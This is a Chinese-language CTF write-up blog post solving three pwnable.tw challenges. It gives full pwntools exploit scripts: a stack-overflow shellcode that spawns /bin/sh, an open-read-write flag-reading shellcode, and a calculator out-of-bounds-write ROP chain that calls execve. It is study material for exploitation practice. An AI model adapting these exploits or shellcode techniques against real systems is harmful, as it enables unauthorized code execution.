pwnable.tw部分wp(更新中)

pwnable.tw解出题目的wp

Posted by X1ng on November 12, 2020

最近在刷pwnable.tw。。。

1.start

例行检查

没有开NX保护

用ida打开

只有start和exit函数,通过系统调用来调用函数,系统调用好保存在eax中,在执行完4号write系统调用和3号read系统调用后返回地址处是exit函数,可以看到即将执行ret时,esp指向地址的下一个地址是一个栈上的地址

可以将其覆盖为mov ecx,esp,再重新执行write系统调用,就可以泄露出栈地址,再输入shellcode跳转到shellcode即可

exp:

from pwn import *

r = 1
context(arch = 'i386', os = 'linux')

if r == 1 :
	p = remote('chall.pwnable.tw',10000)
else:
	p = process('./start')

mov = 0x08048087
#gdb.attach(p,'b *0x804809c')

p.recvuntil('Let\'s start the CTF:')
p.send(b'a'*0x14+p32(mov))
stack = p.recv(4)
stack = u32(stack)
print(hex(stack))

'''
mov ebx,0xffffffff

xor edx,edx

xor ecx,ecx

mov al,11

int 0x80
'''

pd = b'\xbb'+p32(stack-4+0x14+4)+b'1\xd21\xc9\xb0\x0b\xcd\x80'
pd += b'a'*(0x14-len(pd))+p32(stack-4)+b'/bin///sh\x00'
p.sendline(pd)

p.interactive()

2.orw

例行检查

ida反汇编

根据题目提示只能使用open,read,write

在kali上不管输入什么都是段错误,用ubuntu16可以正常写入shellcode

在shellcode后面

exp:

from pwn import *

r = 1
context(arch = 'i386', os = 'linux')
bss = 0x0804A040

if r == 1 :
	p = remote('chall.pwnable.tw',10001)
else:
	p = process('./orw')
#gdb.attach(p,'b *0x804858a')

p.recvuntil('shellcode:')


#fd = open('/home/orw/flag',0)

s = '''

xor edx,edx;

mov ecx,0;

mov ebx,0x804a094;

mov eax,5;

int 0x80;
'''

#read(fd,0x804a094,0x20)

s += '''

mov edx,0x40;

mov ecx,ebx;

mov ebx,eax;

mov eax,3;

int 0x80;
'''

#write(1,0x804a094,0x20)

s += '''

mov edx,0x40;

mov ebx,1;

mov eax,4

int 0x80;
'''

pd = asm(s)+b'/home/orw/flag\x00'
p.send(pd)
print p.recv()

p.interactive()

3.calc

没做出来,看其他师傅的wp复现(深刻发现自己的代码审计有多菜,,不是见过的套路题就很难找到洞

比想象中难,看了其他师傅的博客找到漏洞点后,要完成利用还想了好久

例行检查

ida看伪代码

跟进calc函数

这里的bzero函数看不懂,但是根据调试和函数名称可以猜到其功能是将这段s往后0x400字节区域清零

可以看到一个小细节:int类型v1的下一个地址就是v2数组

然后是get_expr函数,第二个参数是v1的地址

获取输入,除了”+-*/%”和数字以外都过滤掉,存放在a1中

然后是init_pool函数,也是清零的作用

然后是最主要的parse_expr函数

a1数组是过滤后的输入的内容,每次循环i都是a1数组上符号的下标,v5则指向每个数字的第一个数字字符

这个函数的逻辑大概是

if ( (unsigned int)(*(char *)(i + a1) - 0x30) > 9 )
    {
      v2 = i + a1 - v5;
      s1 = (char *)malloc(v2 + 1);
      memcpy(s1, v5, v2);
      s1[v2] = 0;
      if ( !strcmp(s1, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      v9 = atoi(s1);
      if ( v9 > 0 )
      {
        v4 = (*a2)++;
        a2[v4 + 1] = v9;
      }
      if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      v5 = i + 1 + a1;

从左边开始将数字和运算符分开,数字字符串放在s1指向的堆空间中,然后用atoi函数变为整数存放在a2数组中,a2数组第一位保存的是此时数组中的数字总数,运算符保存在s数组中

回想在调用parse_expr函数的时候

a2数组,其实就是作为参数的v1,也就是说,从calc函数来看,这个函数就是用v2数组保存即将计算的(或者计算后的)数字,用v1储存v2数组中的元素个数

接下来是

if ( s[v7] )
      {
        switch ( *(char *)(i + a1) )
        {
          case '%':
          case '*':
          case '/':
            if ( s[v7] != '+' && s[v7] != '-' )
            {
              eval(a2, s[v7]);
              s[v7] = *(_BYTE *)(i + a1);
            }
            else
            {
              s[++v7] = *(_BYTE *)(i + a1);
            }
            break;
          case '+':
          case '-':
            eval(a2, s[v7]);
            s[v7] = *(_BYTE *)(i + a1);
            break;
          default:
            eval(a2, s[v7--]);
            break;
        }
      }
      else
      {
        s[v7] = *(_BYTE *)(i + a1);
      }
      if ( !*(_BYTE *)(i + a1) )
        break;
  • s数组中已经保存过运算符时,
    • 如果 保存在s数组中的运算符 比 现在刚遍历到的、以i为下标的运算符 优先级高或两个运算符相等的话,则直接将 s数组中的运算符 与此时a2数组中的最后一个数字和倒数第二个数字用eval函数运算(此时这两个数字应该正好是s数组中的这个运算符的左边的数字与右边的数字,计算后保留在倒数第二的位置)再将此时遍历到的运算符存到s数组中
    • 如果 保存在s数组中的运算符 比 现在刚遍历到的、以i为下标的运算符 优先级低的话,则将 现在刚遍历到的、以i为下标的运算符保存到数组中继续循环,待下次循环时计算
  • s数组中没有保存过运算符时,则将 现在刚遍历到的、以i为下标的运算符 存到s数组中

eval函数

比如输入”100 + 200 * 300 + 400”

第一次循环会先将+保存到s[0]中,100、200保存到a2[1]和a2[2]中,此时a2[0]为2

第二次循环发现 * 优先级比 + 高,则继续保存 * 到s[1],300保存到a2[2],此时a2[0]为3

第三次循环会先计算 “a2[1] s[1] a2[2]”,也就是”200 * 300”,再保存’+’和400,循环后a2[] = {3, 100, 60000,400},s[] = {‘+’,’+’}

第四次循环计算60000 + 400

第五次循环计算100 + 60400

实现一个正常计算器的功能

而回到calc函数中时

v2数组中只有最后运算完成的结果,v1保存1,代表只有一个数字,然后将其打印出来

漏洞分析

由于parse_expr函数中的a2[0]其实就是calc函数中的v1[0],所以此处都用v1[0]表示

如果输入运算符开头的字符串如”+100+100”,

第一次循环的eval函数中运算会将v1[0]的值从1修改为1+100-1=100,然后在第二次循环中

v9 = atoi(s1);//v9 = 100
if ( v9 > 0 )
{
	v4 = (*a2)++;
	a2[v4 + 1] = v9;
}

处会将v1[100+1]修改为100,可以造成栈上v1地址之后的任意地址写

parse_expr函数则会将保存数字个数的v1[0]当作第一个需要计算的数字,最后计算结果保存在v1[0]中,后面的printf函数会打印v1[0]的内容

在main函数中可以看到,调用calc的下一个指令地址,也就是calc函数的返回地址是0x08049499

查看在调用parse_expr函数前的栈空间

ebp之后接着的就是返回地址,而v1的位置是$ebp-5A0h,只要输入”+360+N”( (360 + 1) * 4 = 1444 = 0x5A4),就能将返回地址的值修改为N

最后思路就是泄露栈地址后将字符串”/bin/sh”写在栈上,通过ROPgadget找到合适的gadget,rop调用execve("/bin/sh", 0, 0)拿到shell

但是有两个问题

  1. 写在栈上的”/bin/sh”,虽然可以计算偏移拿到地址,但是栈上的的地址都超过了int类型可以表示的最大正数:0x7fffffff
  2. 程序不能写入0,如果+0的话不会写入对应偏移的内存中
  3. 在输入”+N+M”进行运算的时候,进行的是v1[N] += v1[N+1]的运算,将M保存在v1[N+1]中,将结果保存在v1[N]中,也就是说操作一块四字节的保存整数的内存会影响它的上一块内存(让上一块内存的数据加上该块内存的数据)

后来我的解决方案是

  1. 我先对 应该保存sh地址的内存 进行赋值,让这块内存为0x7fffffff,再操作下一块内存,赋值下一块内存为 sh的地址 - 0x7fffffff,这样 应该保存sh地址的内存 就会加上这个数值,也就等于了sh的地址
  2. 可以看到上图中,栈中数据有一个地方是连续两个四字节内存都是0的,所以我用很多retgadget不断抬栈,让pop_edx_ecx_ebxgadget紧贴着两个0,就能将edx和ecx置零
  3. 除了写入sh地址的时候以外,其他操作都从高地址往低地址进行,这样最后修改返回地址的时候会影响到ebp,但是对执行execve("/bin/sh", 0, 0)并没有什么影响

exp:

from pwn import *
context.log_level = 'debug'
r = 1
context(arch = 'i386', os = 'linux')
bss = 0x0804A040

if r == 1 :
	s = remote('chall.pwnable.tw',10100)
else:
	s = process('./calc')

#gadget

pop_eax=0x805c34b
pop_edx_ecx_ebx=0x80701d0
int_80=0x8049a21
pop_ebx=0x080481d1
ret=0x080481ba
add_esp=0x080915e8

s.sendlineafter("===\n","+360")
ebp = int(s.recvline()) & 0xffffffff
print("ebp:"+hex(ebp))

#最后的栈上的结构

pd1=[pop_eax,11,ret,ret,ret,ret,add_esp,0x6e69622f,0x0068732f,ret,ret,pop_edx_ecx_ebx]
#0, 0, X
pd2=[pop_ebx,ebp,int_80]


#栈上pd2的布置

#2147483647 = 0x7fffffff

s.sendline("+376+"+str(2147483647))
recv = int(s.recvline()) & 0xffffffff
print(hex(int(recv)))

s.sendline("+377+"+str(ebp-0x7fffffff))
recv = int(s.recvline()) & 0xffffffff
print(hex(int(recv)))

s.sendline("+378")
recv = int(s.recvline()) & 0xffffffff
print("aaa"+hex(int(recv)))
s.sendline("+378-"+str(recv-int_80))

s.sendline("+375+"+str(pop_ebx))

#栈上pd1的布置

for i in range(0,12):
	s.sendline("+"+str(360+11-i)+"+"+str(pd1[11-i]))

s.sendline()

s.interactive()